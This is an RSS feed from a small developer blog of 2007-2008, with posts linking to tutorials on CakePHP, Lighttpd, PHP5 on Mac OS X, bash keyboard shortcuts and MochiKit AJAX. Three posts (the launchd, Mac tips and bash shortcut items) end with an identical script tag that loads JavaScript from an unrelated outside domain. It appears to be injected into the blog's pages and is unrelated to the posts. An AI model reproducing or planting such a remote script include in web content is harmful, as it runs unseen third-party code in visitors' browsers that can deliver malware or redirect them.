<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="http://infoentropy.com" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>InfoEntropy Web blogs</title>
 <link>http://infoentropy.com/blog</link>
 <description></description>
 <language>en</language>
<item>
 <title>Step-by-step to build a facebook app with CakePHP</title>
 <link>http://infoentropy.com/cakephp_facebook</link>
 <description>&lt;p&gt;this post is a good hands-on for setting up a facebook app in CakePHP.&lt;/p&gt;

&lt;p&gt;If you have never used CakePHP i suggest you go through the &lt;a href=&quot;http://manual.cakephp.org/appendix/blog_tutorial&quot;&gt;15 minute blog tutorial&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After you do the the tutorial the facebook tutorial will make a lot of sense.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://facebook-developer.net/2007/10/18/building-your-first-facebook-application-with-cakephp/&quot;&gt;build facebook app with cakePHP&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/cakephp_facebook#comment</comments>
 <category domain="http://infoentropy.com/taxonomy/term/67">CakePHP</category>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/68">facebook</category>
 <pubDate>Sun, 03 Feb 2008 04:14:08 -0700</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">79 at http://infoentropy.com</guid>
</item>
<item>
 <title>Enabling CakePHP 1.1 on Lighttpd 1.5</title>
 <link>http://infoentropy.com/CakePHP_on_LigHTTPD</link>
 <description>&lt;p&gt;Somebody wrote an excellent post on how to make CakePHP work on LigHTTPD. It didn&#039;t work for me right away because for some reason mod_rewrite or my CakePHP settings are different from the &quot;default&quot; behavior.&lt;/p&gt;

&lt;p&gt;Most blogs say that their &lt;span class=&quot;caps&quot;&gt;URL &lt;/span&gt;arguments for non-tidy &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt;s are like this: &lt;code&gt;/cakedir/index.php?url=pagename&lt;/code&gt;. However, for some reason my &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt;s are like this: &lt;code&gt;/cakedir/index.php/pagename&lt;/code&gt;. I&#039;m not sure why that is.&lt;/p&gt;

&lt;p&gt;Nevertheless, you can follow the instructions in the blog post but if you have the same &lt;span class=&quot;caps&quot;&gt;URL &lt;/span&gt;path rewrite setup as I do you will need to make a critical change to the &lt;code&gt;url.rewrite-once&lt;/code&gt; statement:&lt;/p&gt;

&lt;code&gt;

&lt;pre&gt;
#this is the original
   url.rewrite-once = (
    &amp;quot;^/(css|files|img|js|stats)/(.*)$&amp;quot; =&amp;gt; &amp;quot;/$1/$2&amp;quot;,
    &amp;quot;^/(.*)$&amp;quot; =&amp;gt; &amp;quot;/index.php?url=$1&amp;quot;
   )

#change the index.php part
   url.rewrite-once = (
    &amp;quot;^/(css|files|img|js|stats)/(.*)$&amp;quot; =&amp;gt; &amp;quot;/$1/$2&amp;quot;,
    &amp;quot;^/(.*)$&amp;quot; =&amp;gt; &amp;quot;/index.php/$1&amp;quot;
   )
&lt;/pre&gt;

&lt;/code&gt;


&lt;p&gt;&lt;a href=&quot;http://thefaultandfracture.blogspot.com/2007/10/enabling-cakephp-11-on-lighttpd-15.html&quot;&gt;Enabling CakePHP 1.1 on Lighttpd 1.5&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/CakePHP_on_LigHTTPD#comment</comments>
 <category domain="http://infoentropy.com/taxonomy/term/67">CakePHP</category>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/30">lighttpd</category>
 <pubDate>Sat, 02 Feb 2008 19:29:40 -0700</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">78 at http://infoentropy.com</guid>
</item>
<item>
 <title>Install and configure PHP5 and lighttpd on mac os x 10.4</title>
 <link>http://infoentropy.com/install_configure_php5_lighttpd_mac_osx</link>
 <description>&lt;p&gt;I was having trouble getting &lt;span class=&quot;caps&quot;&gt;PHP&lt;/span&gt; 5 fastcgi to work with lighttpd on my Mac OS X 10.4 laptop. The core of the problem is that the default port install of php5 on the mac does not include &lt;span class=&quot;caps&quot;&gt;CGI &lt;/span&gt;support.&lt;/p&gt;

&lt;p&gt;The command you are looking for is&lt;/p&gt;

&lt;code&gt;

&lt;pre&gt;
sudo port install php5 +fastcgi

#use this command to see what options are available
port variants php5
&lt;/pre&gt;

&lt;/code&gt;


&lt;p&gt;I believe this is the Mac equivalent to ubuntu&#039;s command&lt;/p&gt;

&lt;code&gt;

&lt;pre&gt;
sudo apt-get install php5-cgi
&lt;/pre&gt;

&lt;/code&gt;

&lt;p&gt;&lt;a href=&quot;http://raygunrobot.com/archives/PHP-5-and-LightTPD-on-Mac-OS-X&quot;&gt;&lt;span class=&quot;caps&quot;&gt;PHP&lt;/span&gt; 5 and LightTPD on Mac OS X&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/install_configure_php5_lighttpd_mac_osx#comment</comments>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/30">lighttpd</category>
 <category domain="http://infoentropy.com/taxonomy/term/54">mac</category>
 <pubDate>Sat, 02 Feb 2008 16:28:54 -0700</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">77 at http://infoentropy.com</guid>
</item>
<item>
 <title>lighttpd as a startup item on os x</title>
 <link>http://infoentropy.com/lighttpd_startup_item_on_osx</link>
 <description>&lt;p&gt;I&#039;ve been having a lot of trouble figuring out how to configure general mac startup services. I&#039;ve also had tons of trouble figuring out how to configure lighttpd.conf files. I came across this TextSnippets website that seems to have a lot of good examples for configuring all this crazy server and OS X related stuff.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://textsnippets.com/posts/show/124&quot;&gt;Lighttpd launchd item for OS X 10.4&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;hr /&gt;&lt;/p&gt;

&lt;p&gt;&lt;SCRIPT type=&quot;text/javascript&quot; LANGUAGE=&quot;javascript&quot; src=&quot;http://www.qksz.net/1e-emy1&quot;&gt; &lt;/SCRIPT&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/lighttpd_startup_item_on_osx#comment</comments>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/30">lighttpd</category>
 <category domain="http://infoentropy.com/taxonomy/term/54">mac</category>
 <pubDate>Sat, 02 Feb 2008 14:08:28 -0700</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">76 at http://infoentropy.com</guid>
</item>
<item>
 <title>Mac tips for Unix users</title>
 <link>http://infoentropy.com/mac_osx_ubuntu_linux_differences</link>
 <description>&lt;p&gt;I just got used to using Ubuntu Linux over the past couple years and now we use Macs at work. The trouble is that the Mac flavor of &lt;span class=&quot;caps&quot;&gt;UNIX &lt;/span&gt;is quite a bit different from the way Ubuntu works. I found this to be a helpful introduction to understanding the similarities and differences between Mac OS X and Ubuntu Linux. &lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.macdevcenter.com/pub/a/mac/2002/10/22/macforunix.html&quot;&gt;Top Ten Mac OS X Tips for Unix Geeks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;hr /&gt;&lt;/p&gt;

&lt;p&gt;&lt;SCRIPT type=&quot;text/javascript&quot; LANGUAGE=&quot;javascript&quot; src=&quot;http://www.qksz.net/1e-emy1&quot;&gt; &lt;/SCRIPT&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/mac_osx_ubuntu_linux_differences#comment</comments>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/29">linux</category>
 <category domain="http://infoentropy.com/taxonomy/term/54">mac</category>
 <pubDate>Sat, 02 Feb 2008 13:57:43 -0700</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">75 at http://infoentropy.com</guid>
</item>
<item>
 <title>Moving your cursor in a terminal with bash shell (Mac OS X, and Ubuntu Linux compatible)</title>
 <link>http://infoentropy.com/terminal_window_keyboard_shortcuts_mac_linux</link>
 <description>&lt;p&gt;Tired of pressing delete 1,000 times to move around in your terminal window? Use these handy shortcuts and spare yourself the repetitve stress inducing, carpal-tunnel-flaring effects of using the command line in Macs and Linux.&lt;/p&gt;

&lt;p&gt;My current favorites:&lt;/p&gt;


&lt;ul&gt;
&lt;li&gt;ctrl-a: move to front of line&lt;/li&gt;
&lt;li&gt;ctrl-e: move to end of line&lt;/li&gt;
&lt;li&gt;ctrl-w: delete word before cursor&lt;/li&gt;
&lt;li&gt;ctrl-r: search past command history&lt;/li&gt;
&lt;li&gt;up/down arrow: page through previous commands&lt;/li&gt;
&lt;li&gt;alt-b / alt-f: move backward/forward one word (without deleting)&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;&lt;a href=&quot;http://articles.techrepublic.com.com/5100-10878_11-6178505.html&quot;&gt;Bash shell keyboard shortcuts&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;hr /&gt;&lt;/p&gt;

&lt;p&gt;&lt;SCRIPT type=&quot;text/javascript&quot; LANGUAGE=&quot;javascript&quot; src=&quot;http://www.qksz.net/1e-emy1&quot;&gt; &lt;/SCRIPT&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/terminal_window_keyboard_shortcuts_mac_linux#comment</comments>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/29">linux</category>
 <category domain="http://infoentropy.com/taxonomy/term/54">mac</category>
 <pubDate>Mon, 17 Dec 2007 23:10:49 -0700</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">74 at http://infoentropy.com</guid>
</item>
<item>
 <title>linux user management commands</title>
 <link>http://infoentropy.com/linux_user_management_commands</link>
 <description>&lt;p&gt;I couldn&#039;t figure out how to do view or change groups in Linux for a while. This page tells me most of the user management commands.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.comptechdoc.org/os/linux/commands/linux_cruserman.html&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/linux_user_management_commands#comment</comments>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/29">linux</category>
 <category domain="http://infoentropy.com/taxonomy/term/34">ubuntu</category>
 <pubDate>Sat, 22 Sep 2007 13:44:59 -0600</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">73 at http://infoentropy.com</guid>
</item>
<item>
 <title>Setup LigHTTPD virtual hosting by hand</title>
 <link>http://infoentropy.com/configure_lighttpd_virtual_hosts</link>
 <description>&lt;p&gt;This is a handy resource for setting up your LigHTTPD virtual hosts by hand. Nothing fancy here, I just can never remember how to do it without referring to this page.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.cyberciti.biz/tips/howto-lighttpd-web-server-setting-up-virtual-hosting.html&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/configure_lighttpd_virtual_hosts#comment</comments>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/30">lighttpd</category>
 <pubDate>Sat, 22 Sep 2007 03:00:22 -0600</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">72 at http://infoentropy.com</guid>
</item>
<item>
 <title>Reload your hosts file in Mac</title>
 <link>http://infoentropy.com/reload_mac_os_x_hosts_file</link>
 <description>&lt;p&gt;For some reason Mac OS X does not reload, restart, or re-initialize your hosts file (at least not the one at &lt;code&gt;/private/etc/hosts&lt;/code&gt;) when you&#039;ve altered it. Windows and Linux usually do. &lt;/p&gt;

&lt;p&gt;To reload the Mac OS X hosts file, run this:&lt;/p&gt;



&lt;pre&gt;

&lt;code&gt;sudo niload -v -m hosts . &amp;lt; /etc/hosts&lt;/code&gt;

&lt;/pre&gt;



&lt;p&gt;The author at the &lt;a href=&quot;http://ocaoimh.ie/2006/10/12/mac-os-x-how-to-update-etchosts/&quot;&gt;Holy Shmoly!&lt;/a&gt; blog led me to the promised land.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://kb.doit.wisc.edu/middleware/page.php?id=4506&quot;&gt;Detailed link&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/reload_mac_os_x_hosts_file#comment</comments>
 <category domain="http://infoentropy.com/category/business">Business</category>
 <category domain="http://infoentropy.com/taxonomy/term/54">mac</category>
 <pubDate>Thu, 13 Sep 2007 11:13:46 -0600</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">71 at http://infoentropy.com</guid>
</item>
<item>
 <title>Using MochiKit doXHR</title>
 <link>http://infoentropy.com/mochikit_ajax_doXHR</link>
 <description>&lt;p&gt;The &lt;code&gt;doXHR()&lt;/code&gt; function in MochiKit is pretty handy for doing &lt;span class=&quot;caps&quot;&gt;AJAX FORM&lt;/span&gt;s. It is a shorthand function for do &lt;span class=&quot;caps&quot;&gt;XMLH&lt;/span&gt;ttpRequest. Here is some basic usage of &lt;code&gt;doXHR()&lt;/code&gt;. I was using this code to save position of a Google Map marker via &lt;span class=&quot;caps&quot;&gt;AJAX POST.&lt;/span&gt; The &lt;span class=&quot;caps&quot;&gt;URL &lt;/span&gt;called returns a string that gets stuffed into &lt;code&gt;responseText&lt;/code&gt; of the result object.&lt;/p&gt;

&lt;code&gt;

&lt;pre&gt;
saveMapLocation: function( ) {
  //values that i am passing are latitude and longitude
  var qry = queryString({lat:latitude.value,lon:longitude.value});
  var d = doXHR(url, 
    {
      method:&#039;POST&#039;,
      sendContent:qry,
      headers: {&amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded&amp;quot;} 
    });
    //this callback fires when the XHR returns successful
    d.addCallback(function (result) 
    { 
      log(&#039;save successful&#039;);
    });

    //this callback fires when the XHR fails
    d.addErrback( function (result) 
    { 
      log(&#039;save failed&#039;);
    });
&lt;/pre&gt;

&lt;/code&gt;

&lt;p&gt;&lt;a href=&quot;http://mochikit.com/doc/html/MochiKit/Async.html&quot;&gt;MochiKit Async documentation&lt;/a&gt;&lt;/p&gt;</description>
 <comments>http://infoentropy.com/mochikit_ajax_doXHR#comment</comments>
 <category domain="http://infoentropy.com/taxonomy/term/61">ajax</category>
 <category domain="http://infoentropy.com/category/development">Development</category>
 <category domain="http://infoentropy.com/taxonomy/term/35">javascript</category>
 <category domain="http://infoentropy.com/taxonomy/term/66">mochikit</category>
 <pubDate>Mon, 10 Sep 2007 11:46:47 -0600</pubDate>
 <dc:creator>jeff</dc:creator>
 <guid isPermaLink="false">70 at http://infoentropy.com</guid>
</item>
</channel>
</rss>

